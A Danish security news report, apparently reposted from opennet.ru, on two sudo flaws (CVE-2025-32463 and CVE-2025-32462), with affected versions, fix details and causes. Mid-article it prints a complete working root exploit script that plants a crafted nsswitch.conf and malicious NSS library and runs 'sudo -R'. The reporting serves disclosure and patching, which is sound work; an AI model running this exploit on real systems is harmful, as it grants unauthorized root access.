Sårbarheder i sudo-værktøjet, der muliggør opnåelse af root-rettigheder i systemet

I pakken sudo, der anvendes til at udføre kommandoer på vegne af andre brugere, er der opdaget en sårbarhed (CVE-2025-32463), som tillader enhver ikke-privilegeret bruger at udføre kode med root-rettigheder, selvom brugeren ikke er nævnt i sudoers-konfigurationen. Problemet påvirker distributioner, der bruger konfigurationsfilen /etc/nsswitch.conf, for eksempel er muligheden for at udnytte sårbarheden demonstreret i Ubuntu 24.04 og Fedora 41.

Sårbarheden viser sig i standardkonfigurationen og er bekræftet i versioner af sudo fra 1.9.14 til 1.9.17 (potentielt påvirker alle versioner fra 1.8.33). Problemet er løst i opdateringen af sudo 1.9.17p1. Tilstanden for den nye version af pakken eller beredskabet til en løsning i distributionerne kan kontrolleres på følgende sider (hvis siden ikke er tilgængelig, betyder det, at udviklerne endnu ikke er begyndt at undersøge problemet): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo og Arch (1, 2).

Problemet skyldes, at når man bruger indstillingen "-R" ("--chroot") til at køre kommandoer i et chroot-miljø med en valgt brugerkatalognavn, blev filen /etc/nsswitch.conf indlæst i konteksten af den nye rodkatalog og ikke systemkatalogen. Da brugeren kan bruge sin egen katalog som rodkatalog for chroot, kan han placere konfigurationsfilen nsswitch.conf i den. Ved at kontrollere den fil, der indlæses af NSS (Name Service Switch), kan brugeren tilføje indstillinger, som fører til kald af yderligere håndteringsprogrammer. Disse håndteringsprogrammer indlæses af NSS i form af delte biblioteker, som også kan placeres i brugerkontrollerede kataloger. Ved at indsætte sit eget bibliotek kan brugeren få det til at udføre kode med root-rettigheder, da behandling af NSS udføres, før privilegierne frigives.

Eksempel på exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c <<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

I version 1.9.17p1 af sudo er der også blevet rettet en anden sårbarhed (CVE-2025-32462), som muliggør udførelse af kommandoer med root-rettigheder, men som kun viser sig i sudoers-konfigurationer, hvor parameteren 'host' er sat til en værdi, der adskiller sig fra ALL eller navnet på den aktuelle vært. Sårbarheden skyldes en fejl, der medførte, at optionen '-h' ('—host') fungerede ikke kun sammen med optionen '-l' ('—list') til at udskrive privilegier knyttet til værten, men også ved kørsel af kommandoer. Dermed kunne en bruger angive en hvilken som helst vært ved kald af sudo og omgå restriktionerne i sudoers-reglerne, der var knyttet til værtens navn.

For at udføre et angreb skal brugeren nævnes i sudoers; hvis indstillingerne f.eks. angiver 'testuser testhost = ALL', kunne brugeren 'testuser' angive 'sudo -h testhost' og køre kommandoer med root-rettigheder på enhver vært, ikke kun på værten testhost. Konfigurationer som 'testuser ALL = ALL' eller uden eksplicitte regler for den specifikke bruger er ikke sårbare.

Kilde: opennet.ru

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster